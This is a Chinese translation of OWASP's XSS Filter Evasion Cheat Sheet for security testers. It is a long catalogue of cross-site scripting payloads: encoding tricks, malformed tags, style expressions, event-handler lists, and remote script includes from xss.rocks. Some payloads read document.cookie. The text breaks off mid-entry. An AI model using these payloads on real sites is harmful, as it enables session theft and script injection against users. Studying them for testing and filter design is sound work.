XSS Filter Evasion Cheat Sheet

中文翻译：walletong@ansion

原文地址：https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

1. 介绍

这篇文章的主要目的是给专业安全测试人员提供一份跨站脚本漏洞检测指南。文章的初始内容是由 RSnake 提供给 OWASP，内容基于他的 XSS 备忘录:http://ha.ckers.org/xss.html。目前这个网页已经重定向到 OWASP 网站，将由 OWASP 维护和完善它。OWASP 的第一个防御备忘录项目：XSS (Cross Site Scripting) Prevention Cheat Sheet 灵感来源于 RSnake 的 XSS Cheat Sheet，所以我们对他给予我们的启发表示感谢。我们想要去创建短小简单的参考给开发者去帮助他们预防 XSS 漏洞，而不是简单的告诉他们需要使用复杂的方法构建应用来预防各种千奇百怪的攻击，这也是 OWASP 备忘录系列诞生的原因。

2. 测试

这份备忘录是为那些已经理解 XSS 攻击，但是想要了解关于绕过过滤器方法之间细微差别的人准备的。

请注意大部分的跨站脚本攻击向量已经在其代码下方给出的浏览器列表中进行测试。

2.1. XSS 定位器

在大多数存在漏洞且不需要特定 XSS 攻击代码的地方插入下列代码会弹出包含“XSS”字样的对话框。使用 URL 编码器来对整个代码进行编码。小技巧：如果你时间很紧想要快速检查页面，通常只要插入“<任意文本>”标签，然后观察页面输出是否明显改变了就可以判断是否存在漏洞：

```
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
```

2.2. XSS 定位器（短）

如果你没有足够的空间并且知道页面上没有存在漏洞的 JavaScript，这个字符串是一个不错的简洁 XSS 注入检查。注入后查看页面源代码并且寻找是否存在**<XSS** 或**<XSS** 字样来确认是否存在漏洞

```
';!--"<XSS>=&{()}
```

2.3. 无过滤绕过

这是一个常规的 XSS 注入代码，虽然通常它会被防御，但是建议首先去测试一下。（引号在任何现代浏览器中都不需要，所以这里省略了它）：

```
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
```

2.4. 利用多语言进行过滤绕过

```
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\>
</|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/X
SS/) type=submit>'-->"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">
<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-c
ompressor.jpg">
```

2.5. 通过 JavaScript 命令实现的图片 XSS

图片注入使用 JavaScript 命令实现（IE7.0 不支持在图片上下文中使用 JavaScript 命令，但是可以在其他上下文触发。下面的例子展示了一种其他标签依旧通用的原理）：

```
<IMG SRC="javascript:alert('XSS');">
```

2.6. 无分号无引号

```
<IMG SRC=javascript:alert('XSS')>
```

2.7. 不区分大小写的 XSS 攻击向量

```
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

2.8. HTML 实体

必须有分号才可生效

```
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
```

2.9. 重音符混淆

如果你的 JavaScript 代码中需要同时使用单引号和双引号，那么可以使用重音符（`）来包含 JavaScript 代码。这通常会有很大帮助，因为大部分跨站脚本过滤器都没有过滤这个字符：

```
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
```

2.10. 畸形的 A 标签

跳过 HREF 标签找到 XSS 的重点。。。由 David Cross 提交~已在 Chrome 上验证

```
<a onmouseover="alert(document.cookie)">xxs link</a>
```

此外 Chrome 经常帮你补全确实的引号。。。如果在这方面遇到问题就直接省略引号，Chrome 会帮你补全在 URL 或脚本中缺少的引号。

```
<a onmouseover=alert(document.cookie)>xxs link</a>
```

2.11. 畸形的 IMG 标签

最初由 Begeek 发现（短小精湛适用于所有浏览器），这个 XSS 攻击向量使用了不严格的渲染引擎来构造含有 IMG 标签并被引号包含的 XSS 攻击向量。我猜测这种解析原来是为了兼容不规范的编码。这会让它更加难以正确的解析 HTML 标签：

```
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
```

2.12. fromCharCode 函数

如果不允许任何形式的引号，你可以通过执行 JavaScript 里的 fromCharCode 函数来创建任何你需要的 XSS 攻击向量：

```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```

2.13. 使用默认 SRC 属性绕过 SRC 域名过滤器

这种方法可以绕过大多数 SRC 域名过滤器。将 JavaScript 代码插入事件方法同样适用于注入使用 elements 的任何 HTML 标签，例如 Form，Iframe，Input，Embed 等等。它同样允许将事件替换为任何标签中可用的事件类型，例如 onblur，onclick。下面会给出许多不同的可注入事件列表。由 David Cross 提交，Abdullah Hussam(@Abdulahhusam)编辑。

```
<IMG SRC=# onmouseover="alert('xxs')">
```

2.14. 使用默认为空的 SRC 属性

```
<IMG SRC= onmouseover="alert('xxs')">
```

2.15. 使用不含 SRC 属性

```
<IMG onmouseover="alert('xxs')">
```

2.16. 通过 error 事件触发 alert

```
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

2.17. 对 IMG 标签中 onerror 属性进行编码

```
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#000011
5&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000
097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#00
00088&#0000083&#0000083&#0000039&#0000041">
```

2.18. 十进制 HTML 字符实体编码

所有在 IMG 标签里直接使用 javascript:形式的 XSS 示例无法在 Firefox 或 Netscape8.1 以上浏览器（使用 Gecko 渲染引擎）运行。

```
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#11
6;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>
```

2.19. 不带分号的十进制 HTML 字符实体编码

这对于绕过对“&#XX;”形式的 XSS 过滤非常有用，因为大多数人不知道最长可使用 7 位数字。这同样对例如$tmp_string =~ s/.*\&#(\d+);.*/$1/;形式的过滤器有效，这种过滤器是错误的认为 HTML 字符实体编码需要用分号结尾（无意中发现的）：

```
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#00000
99&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088
&#0000083&#0000083&#0000039&#0000041>
```

2.20. 不带分号的十六进制 HTML 字符实体编码

这是有效绕过例如$tmp_string =~ s/.*\&#(\d+);.*/$1/;过滤器的方法。这种过滤器错误的认为#号后会跟着数字（十六进制 HTML 字符实体编码并非如此）

```
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
```

2.21. 内嵌 TAB

使用 TAB 来分开 XSS 攻击代码：

```
<IMG SRC="jav ascript:alert('XSS');">
```

2.22. 内嵌编码后 TAB

使用编码后的 TAB 来分开 XSS 攻击代码：

```
<IMG SRC="jav&#x09;ascript:alert('XSS');">
```

2.23. 内嵌换行分隔 XSS 攻击代码

一些网站声称 09 到 13 (十进制) 的 HTML 实体字符都可以实现这种攻击，这是不正确的。只有 09（TAB），10（换行）和 13（回车）有效。查看 ASCII 字符表获取更多细节。下面几个 XSS 示例介绍了这些向量。

```
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
```

2.24. 内嵌回车分隔 XSS 攻击代码

注意：上面使用了比实际需要长的字符串是因为 0 可以忽略。经常可以遇到过滤器解码十六进制和十进制编码时认为只有 2 到 3 位字符。实际规则是 1 至 7 位字符：

```
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

2.25. 使用空字符分隔 JavaScript 指令

空字符同样可以作为 XSS 攻击向量，但和上面有所区别，你需要使用一些例如 Burp 工具或在 URL 字符串里使用%00，亦或你想使用 VIM 编写自己的注入工具（^V^@会生成空字符），还可以通过程序生成它到一个文本文件。老版本的 Opera 浏览器（例如 Windows 版的 7.11）还会受另一个字符 173（软连字符）的影响。但是空字符%00 更加有用并且能帮助绕过真实世界里的过滤器，例如这个例子里的变形：

```
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
```

2.26. 利用 IMG 标签中 JavaScript 指令前的空格和元字符

如果过滤器不计算"javascript:"前的空格，这是正确的，因为它们不会被解析，但这点非常有用。因为这会造成错误的假设，就是引号和"javascript:"字样间不能有任何字符。实际情况是你可以插入任何十进制的 1 至 32 号字符：

```
<IMG SRC=" &#14;  javascript:alert('XSS');">
```

2.27. 利用非字母非数字字符

FireFox 的 HTML 解析器认为 HTML 关键词后不能有非字母非数字字符，并且认为这是一个空白或在 HTML 标签后的无效符号。但问题是有的 XSS 过滤器认为它们要查找的标记会

被空白字符分隔。例如"<SCRIPT\s" != "<SCRIPT/XSS\s":

```
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
```

基于上面的原理，可以使用模糊测试进行扩展。Gecko 渲染引擎允许任何字符包括字母，数字或特殊字符（例如引号，尖括号等）存在于事件名称和等号之间，这会使得更加容易绕过跨站脚本过滤。注意这同样适用于下面看到的重音符:

```
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
```

Yair Amit 让我注意到了 IE 和 Gecko 渲染引擎有一点不同行为，在于是否在 HTML 标签和参数之间允许一个不含空格的斜杠。这会非常有用如果系统不允许空格的时候。

```
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
```

2.28. 额外的尖括号

由 Franz Sedlmaier 提交，这个 XSS 攻击向量可以绕过某些检测引擎，比如先查找第一个匹配的尖括号，然后比较里面的标签内容，而不是使用更有效的算法，例如 Boyer-Moore 算法就是查找整个字符串中的尖括号和相应标签（当然是通过模糊匹配）。双斜杠注释了额外的尖括号来防止出现 JavaScript 错误:

```
<<SCRIPT>alert("XSS");//<</SCRIPT>
```

2.29. 未闭合的 script 标签

在 Firefox 和 Netscape 8.1 的 Gecko 渲染引擎下你不是必须构造类似“></SCRIPT>”的跨站脚本攻击向量。Firefox 假定闭合 HTML 标签是安全的并且会为你添加闭合标记。多么体贴！不像不影响 Firefox 的下一个问题，这不需要在后面有额外的 HTML 标签。如果需要可以添加引号，但通常是没有必要的，需要注意的是，我并不知道这样注入后 HTML 会

什么样子结束:

```
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
```

2.30. script 标签中的协议解析

这个特定的变体是由Łukasz Pilorz 提交的并且基于 Ozh 提供的协议解析绕过。这个跨站脚本示例在 IE 和 Netscape 的 IE 渲染模式下有效，如果添加了</SCRIPT>标记在 Opera 中也可以。这在输入空间有限的情况下是非常有用的，你所使用的域名越短越好。".j"是可用的，在 SCRIPT 标签中不需要考虑编码类型因为浏览器会自动识别。

```
<SCRIPT SRC=//xss.rocks/.j>
```

2.31. 只含左尖括号的 HTML/JavaScript XSS 向量

IE 渲染引擎不像 Firefox，不会向页面中添加额外数据。但它允许在 IMG 标签中直接使用 javascript。这对构造攻击向量是很有用的，因为不需要闭合尖括号。这使得有任何 HTML 标签都可以进行跨站脚本攻击向量注入。甚至可以不使用">"闭合标签。注意：这会让 HTML 页面变得混乱，具体程度取决于下面的 HTML 标签。这可以绕过以下 NIDS 正则: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/因为不需要">"闭合。另外在实际对抗 XSS 过滤器的时候，使用一个半开放的<IFRAME 标签替代<IMG 标签也是非常有效的。

```
<IMG SRC="javascript:alert('XSS')"
```

2.32. 多个左尖括号

使用一个左尖括号替代右尖括号作为标签结尾的攻击向量会在不同浏览器的 Gecko 渲染引擎下有不同表现。没有左尖括号时，在 Firefox 中生效，而在 Netscape 中无效。

```
<iframe src=http://xss.rocks/scriptlet.html <
```

2.33. JavaScript 双重转义

当应用将一些用户输入输出到例如：<SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>的 JavaScript 中时，你想注入你的 JavaScript 脚本，你可以通过转义转义字符来规避服务器端转义引号。注入后会得到<SCRIPT>var a="\\";alert('XSS');//";</SCRIPT>，这时双引号不会被转义并且可以触发跨站脚本攻击向量。XSS 定位器就用了这种方法:

```
\";alert('XSS');//
```

另一种情况是,如果内嵌数据进行了正确的 JSON 或 JavaScript 转义,但没有 HTML 编码,那可以结束原有脚本块并开始你自己的:

```
</script><script>alert('XSS');</script>
```

2.34. 闭合 title 标签

这是一个简单的闭合<TITLE>标签的 XSS 攻击向量，可以包含恶意的跨站脚本攻击:

```
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
```

2.35. INPUT image

```
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
```

2.36. BODY image

```
<BODY BACKGROUND="javascript:alert('XSS')">
```

2.37. IMG Dynsrc

```
<IMG DYNSRC="javascript:alert('XSS')">
```

2.38. IMG lowsrc

```
<IMG LOWSRC="javascript:alert('XSS')">
```

2.39. List-style-image

处理嵌入的图片列表是很麻烦的问题。由于 JavaScript 指令的原因只能在 IE 渲染引擎下有效。不是一个特别有用的跨站脚本攻击向量:

```
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
```

2.40. 图片中引用 VBscript

```
<IMG SRC='vbscript:msgbox("XSS")'>
```

2.41. Livescript（仅限旧版本 Netscape)

```
<IMG SRC="livescript:[code]">
```

2.42. SVG 对象标签

```
<svg/onload=alert('XSS')>
```

2.43. ECMAScript 6

```
Set.constructor`alert\x28document.domain\x29```
```

2.44. BODY 标签

这个方法不需要使用任何例如"javascript:"或"<SCRIPT..."语句来完成 XSS 攻击。Dan Crowley 特别提醒你可以在等号前加入一个空格("onload=" != "onload ="):

```
<BODY ONLOAD=alert('XSS')>
```

2.45. 事件处理程序

在 XSS 攻击中可使用以下事件（在完稿的时候这是网上最全的列表了）。感谢 Rene Ledos quet 的更新。

1. FSCommand() (攻击者当需要在嵌入的 Flash 对象中执行时可以使用此事件)
2. onAbort() (当用户中止加载图片时)
3. onActivate() (当对象激活时)
4. onAfterPrint() (用户打印或进行打印预览后触发)
5. onAfterUpdate() (从数据源对象更新数据后由数据对象触发)
6. onBeforeActivate() (在对象设置为激活元素前触发)
7. onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行 execCommand("Copy")函数触发)
8. onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)
9. onBeforeDeactivate() (在当前对象的激活元素变化前触发)
10. onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的

对象被选中时触发)

11. onBeforePaste() (在用户被诱导进行粘贴前或使用 execCommand("Paste")函数触发)
12. onBeforePrint() (用户需要被诱导进行打印或攻击者可以使用 print()或 execCommand("Print")函数).
13. onBeforeUnload() (用户需要被诱导关闭浏览器-除非从父窗口执行，否则攻击者不能关闭当前窗口)
14. onBeforeUpdate() (从数据源对象更新数据前由数据对象触发)
15. onBegin() (当元素周期开始时由 onbegin 事件立即触发)
16. onBlur() (另一个窗口弹出当前窗口失去焦点时触发)
17. onBounce() (当 marquee 对象的 behavior 属性设置为“alternate”且字幕的滚动内容到达窗口一边时触发)
18. onCellChange() (当数据提供者的数据变化时触发)
19. onChange() (select，text，或 TEXTAREA 字段失去焦点并且值发生变化时触发)
20. onClick() (表单中点击触发)
21. onContextMenu() (用户需要在攻击区域点击右键)
22. onControlSelect() (当用户在一个对象上创建控件选中区时触发)
23. onCopy() (用户需要复制一些东西或使用 execCommand("Copy")命令时触发)
24. onCut() (用户需要剪切一些东西或使用 execCommand("Cut")命令时触发)
25. onDataAvailable() (用户需要修改元素中的数据，或者由攻击者提供的类似功能)
26. onDataSetChanged() (当数据源对象变更导致数据集发生变更时触发)
27. onDataSetComplete() (数据源对象中所有数据可用时触发)

28. onDblClick() (用户双击一个表单元素或链接)
29. onDeactivate() (在激活元素从当前对象转换到父文档中的另一个对象时触发)
30. onDrag() (在元素正在拖动时触发)
31. onDragEnd() (当用户完成元素的拖动时触发)
32. onDragLeave() (用户在拖动元素离开放置目标时触发)
33. onDragEnter() (用户将对象拖拽到合法拖曳目标)
34. onDragOver() (用户将对象拖拽划过合法拖曳目标)
35. onDragDrop() (用户将一个对象（例如文件）拖拽到浏览器窗口)
36. onDragStart() (当用户开始拖动元素时触发)
37. onDrop() (当拖动元素放置在目标区域时触发)
38. onEnded() (在视频/音频（audio/video）播放结束时触发)
39. onError() (在加载文档或图像时发生错误)
40. onErrorUpdate() (当从数据源对象更新相关数据遇到错误时在数据绑定对象上触发)
41. onFilterChange() (当滤镜完成状态变更时触发)
42. onFinish() (当 marquee 完成滚动时攻击者可以执行攻击)
43. onFocus() (当窗口获得焦点时攻击者可以执行攻击代码)
44. onFocusIn() (当元素将要被设置为焦点之前触发)
45. onFocusOut() (攻击者可以在窗口失去焦点时触发攻击代码)
46. onHashChange() (当锚部分发生变化时触发攻击代码)
47. onHelp() (攻击者可以在用户在当前窗体激活时按下 F1 触发攻击代码)
48. onInput() (在 <input> 或 <textarea> 元素的值发生改变时触发)
49. onKeyDown() (用户按下一个键的时候触发)

50. onKeyPress() (在键盘按键被按下并释放一个键时触发)
51. onKeyUp() (用户释放一个键时触发)
52. onLayoutComplete() (用户进行完打印或打印预览时触发)
53. onLoad() (攻击者在窗口加载后触发攻击代码)
54. onLoseCapture() (可以由 releaseCapture()方法触发)
55. onMediaComplete() (当一个流媒体文件使用时，这个事件可以在文件播放前触发)
56. onMediaError() (当用户在浏览器中打开一个包含媒体文件的页面，出现问题时触发事件)
57. onMessage() (当页面收到一个信息时触发事件)
58. onMouseDown() (攻击者需要让用户点击一个图片触发事件)
59. onMouseEnter() (光标移动到一个对象或区域时触发)
60. onMouseLeave() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)
61. onMouseMove() (攻击者需要让用户将光标移到一个图片或表格)
62. onMouseOut() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)
63. onMouseOver() (光标移动到一个对象或区域)
64. onMouseUp() (攻击者需要让用户点击一个图片)
65. onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)
66. onMove() (用户或攻击者移动页面时触发)
67. onMoveEnd() (用户或攻击者移动页面结束时触发)
68. onMoveStart() (用户或攻击者开始移动页面时触发)
69. onOffline() (当浏览器从在线模式切换到离线模式时触发)

70. onOnline() (当浏览器从离线模式切换到在线模式时触发)
71. onOutOfSync() (当元素与当前时间线失去同步时触发)
72. onPaste() (用户进行粘贴时或攻击者可以使用 execCommand("Paste")函数时触发)
73. onPause() (在视频或音频暂停时触发)
74. onPopState() (在窗口的浏览历史（history 对象）发生改变时触发)
75. onProgress() (攻击者可以在一个 FLASH 加载时触发事件)
76. onPropertyChange() (用户或攻击者需要改变元素属性时触发)
77. onReadyStateChange() (每次 readyState 属性变化时被自动调用)
78. onRedo() (用户返回上一页面时触发)
79. onRepeat() (事件在播放完重复播放时触发)
80. onReset() (用户或攻击者重置表单时触发)
81. onResize() (用户改变窗口大小时，攻击者可以自动以这种方法触发: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
82. onResizeEnd() (用户完成改变窗体大小时触发)
83. onResizeStart() (用户开始改变窗体大小时触发)
84. onResume() (当元素继续播放时触发)
85. onReverse() (当元素回放时触发)
86. onRowsEnter() (用户或攻击者需要改变数据源中的一行)
87. onRowExit() (用户或攻击者改变数据源中的一行后退出时触发)
88. onRowDelete() (用户或攻击者需要删除数据源中的一行)
89. onRowInserted() (user or attacker would need to insert a row in a data source)

90. onScroll() (用户需要滚动或攻击者使用 scrollBy()函数)
91. onSeek() (当用户在元素上执行查找操作时触发)
92. onSelect() (用户需要选择一些文本-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
93. onSelectionChange() (当用户选择文本变化时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
94. onSelectStart() (当用户开始选择文本时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
95. onStart() (在 marquee 对象开始循环时触发)
96. onStop() (当用户按下停止按钮或离开页面时触发)
97. onStorage() (当 Web Storage 更新时触发)
98. onSyncRestored() (当元素与它的时间线恢复同步时触发)
99. onSubmit() (需要用户或攻击者提交表单)
100. onTimeError() (用户或攻击者设置时间属性出现错误时触发)
101. onTrackChange() (用户或攻击者改变播放列表内歌曲时触发)
102. onUndo() (用户返回上一浏览记录页面时触发)
103. onUnload() (用户点击任意链接或按下后退按钮或攻击者强制进行点击时触发)
104. onURLFlip() (当一个高级流媒体格式（ASF）文件，由一个 HTML+TIME（基于时间交互的多媒体扩展）媒体标签播放时，可触发在 ASF 文件中内嵌的攻击脚本)
105. seekSegmentTime() (这是一个方法可以定位元素某个时间段内中的特定的点，并可以从该点播放。这个段落包含了一个重复的时间线，并包括使用 AUTOREVERSE 属性进行反向播放。)

2.46. BGSOUND

```
<BGSOUND SRC="javascript:alert('XSS');">
```

2.47. & JavaScript 包含

```
<BR SIZE="&{alert('XSS')}">
```

2.48. 样式表

```
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
```

2.49. 远程样式表

(利用像远程样式表一样简单的形式，你可以将 XSS 攻击代码包含在可使用内置表达式进行重定义的样式参数里。)这只在 IE 和使用 IE 渲染模式 Netscape 8.1+。注意这里没有任何元素在页面中表明这页面包含了 JavaScript。提示：这些远程样式表都使用了 body 标签，所以必须在页面中有除了攻击向量以外的内容存在时才会生效，也就是如果是空白页的话你必须在页面添加一个字母来让攻击代码生效:

```
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
```

2.50. 远程样式表 2

这个和上面一样有效，不过使用了<STYLE>标签替代<LINK>标签. 这个细微的变化曾经用来攻击谷歌桌面。另一方面，如果在攻击向量后有 HTML 标签闭合攻击向量，你可以移除末尾的</STYLE>标签。在进行跨站脚本攻击时，如不能同时使用等号或斜杠，这是非常有用的，这种情况在现实世界里不止一次发生了:

```
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
```

2.51. 远程样式表 3

这种方式仅在 Opera 8.0(9.x 不可以)中有效，但方法比较有创意. 根据 RFC2616，设置一个 Link 头部不是 HTTP1.1 规范的一部分,但一些浏览器仍然允许这样做（例如 Firefox 和 Opera). 这里的技巧是设置一个头部 (和普通头部并没有什么区别，只是设置 Link: <http://xss.rocks/xss.css>；REL=stylesheet）并且在远程样式表中包含使用了 JavaScript 的跨站脚本攻击向量，这一点是 FireFox 不支持的:

```
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
```

2.52. 远程样式表 4

这仅能在 Gecko 渲染引擎下有效并且需要在父页面绑定一个 XML 文件。具有讽刺意味的是 Netscape 认为 Gecko 更安全 ，所以对绝大多数网站来说会受到漏洞影响:

```
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
```

2.53. 含有分隔 JavaScript 的 STYLE 标签

这个 XSS 会在 IE 中造成无限循环:

```
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
```

2.54. STYLE 属性中使用注释分隔表达式

由 Roman Ivanov 创建

```
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
```

2.55. 含表达式的 IMG STYLE

这是一个将上面 XSS 攻击向量混合的方法，但确实展示了 STYLE 标签可以用相当复杂的方式分隔，和上面一样，也会让 IE 进入死循环:

```
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
```

2.56. STYLE 标签（仅旧版本 Netscape 可用）

```
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
```

2.57. 使用背景图像的 STYLE 标签

```
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
```

2.58. 使用背景的 STYLE 标签

```
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
```

2.59. 含 STYLE 属性的 HTML 任意标签

IE6.0 和 IE 渲染引擎模式下的 Netscape 8.1+并不关心你建立的 HTML 标签是否存在，只要是由尖括号和字母开始的即可:

```
<XSS STYLE="behavior: url(xss.htc);">
```

2.60. 本地 htc 文件

这和上面两个跨站脚本攻击向量有些不同，因为它使用了一个必须和 XSS 攻击向量在相同服务器上的.htc 文件。这个示例文件通过下载 JavaScript 并将其作为 style 属性的一部分运行来进行攻击：

```
<XSS STYLE="behavior: url(xss.htc);">
```

2.61. US-ASCII 编码

US-ASCII 编码（由 Kurt Huwig 发现）。它使用了畸形的 7 位 ASCII 编码来代替 8 位。这个 XSS 攻击向量可以绕过大多数内容过滤器，但是只在主机使用 US-ASCII 编码传输数据时有效，或者可以自己设置编码格式。相对绕过服务器端过滤，这在绕过 WAF 跨站脚本过滤时候更有效。Apache Tomcat 是目前唯一已知使用 US-ASCII 编码传输的：

```
¼script¾alert(¢XSS¢)¼/script¾
```

2.62. META

关于 meta 刷新比较奇怪的是它并不会在头部中发送一个 referrer-所以它通常用于不需要 referrer 的时候:

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
```

2.62.1 使用数据的 META

URL scheme 指令。这个非常有用因为它并不包含任何可见的 SCRIPT 单词或 JavaScript 指令,因为它使用了 base64 编码.请查看 RFC 2397 寻找更多细节。你同样可以使用具有 Base64 编码功能的 XSS 工具来编码 HTML 或 JavaScript:

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjc
mlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
```

2.62.2 含有额外 URL 参数的 META

如果目标站点尝试检查 URL 是否包含"http://"，你可以用以下技术规避它(由 Moritz Naumann 提交):

```
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert
('XSS');">
```

2.63. IFRAME

如果允许 Iframe 那就会有很多 XSS 问题:

```
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
```

2.64. 基于事件 IFRAME

Iframes 和大多数其他元素可以使用下列事件（由 David Cross 提交）：

```
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
```

2.65. FRAME

Frames 和 iframe 一样有很多 XSS 问题:

```
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
```

2.66. TABLE

```
<TABLE BACKGROUND="javascript:alert('XSS')">
```

2.66.1. TD

和上面一样，TD 也可以通过 BACKGROUND 来包含 JavaScript XSS 攻击向量:

```
<TABLE><TD  BACKGROUND="javascript:alert('XSS')">
```

2.67. DIV

2.67.1. DIV 背景图像

```
<DIV  STYLE="background-image:  url(javascript:alert('XSS'))">
```

2.67.2. 含有 Unicode XSS 利用代码的 DIV 背景图像

这进行了一些修改来混淆 URL 参数。原始的漏洞是由 Renaud Lifchitz 在 Hotmail 发现的:

```
<DIV  STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\006
1\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.102
7\0058.1053\0053\0027\0029'\0029">
```

2.67.3. 含有额外字符的 DIV 背景图像

Rnaske 进行了一个快速的 XSS 模糊测试来发现 IE 和安全模式下的 Netscape 8.1 中任何可以在左括号和 JavaScript 指令间加入的额外字符。这都是十进制的但是你也可以使用十六进制来填充（以下字符可用：1-32, 34, 39, 160, 8192-8.13, 12288, 65279）:

```
<DIV  STYLE="background-image:  url(&#1;javascript:alert('XSS'))">
```

2.67.4. DIV 表达式

一个非常有效的对抗现实中的跨站脚本过滤器的变体是在冒号和"expression"之间添加一

个换行：

```
<DIV STYLE="width: expression(alert('XSS'));">
```

2.68. html 条件选择注释块

只能在 IE5.0 及更高版本和 IE 渲染引擎模式下的 Netscape 8.1 生效。一些网站认为在注释中的任何内容都是安全的并且认为没有必要移除，这就允许我们添加跨站脚本攻击向量。系统会在一些内容周围尝试添加注释标签以便安全的渲染它们。如我们所见，这有时并不起作用：

```
<!--[if gte IE 4]>
 <SCRIPT>alert('XSS');</SCRIPT>
 <![endif]-->
```

2.69. BASE 标签

在 IE 和安全模式下的 Netscape 8.1 有效。你需要使用//来注释下个字符，这样你就不会造成 JavaScript 错误并且你的 XSS 标签可以被渲染。同样，这需要当前网站使用相对路径例如"images/image.jpg"来放置图像而不是绝对路径。如果路径以一个斜杠开头例如"/images/image.jpg"你可以从攻击向量中移除一个斜杠（只有在两个斜杠时注释才会生效）：

```
<BASE HREF="javascript:alert('XSS');//">
```

2.70. OBJECT 标签

如果允许使用 OBJECT，你可以插入一个病毒攻击载荷来感染用户，类似于 APPLET 标签。

链接文件实际是含有你 XSS 攻击代码的 HTML 文件:

```
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJ
ECT>
```

2.71. 使用 EMBED 标签加载含有 XSS 的 FLASH 文件

如果你添加了属性 allowScriptAccess="never"以及 allownetworking="internal"则可以减小风险（感谢 Jonathan Vanasco 提供的信息）：

```
<EMBED SRC="
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcm
cv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5
L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdod
D0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+Y
WxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" Allo
wScriptAccess="always"></EMBED>
```

2.72. 使用 EMBED SVG 包含攻击向量

该示例只在 FireFox 下有效，但是比上面的攻击向量在 FireFox 下好，因为不需要用户安装或启用 FLASH。感谢 nEUrOO 提供:

```
<EMBED SRC="
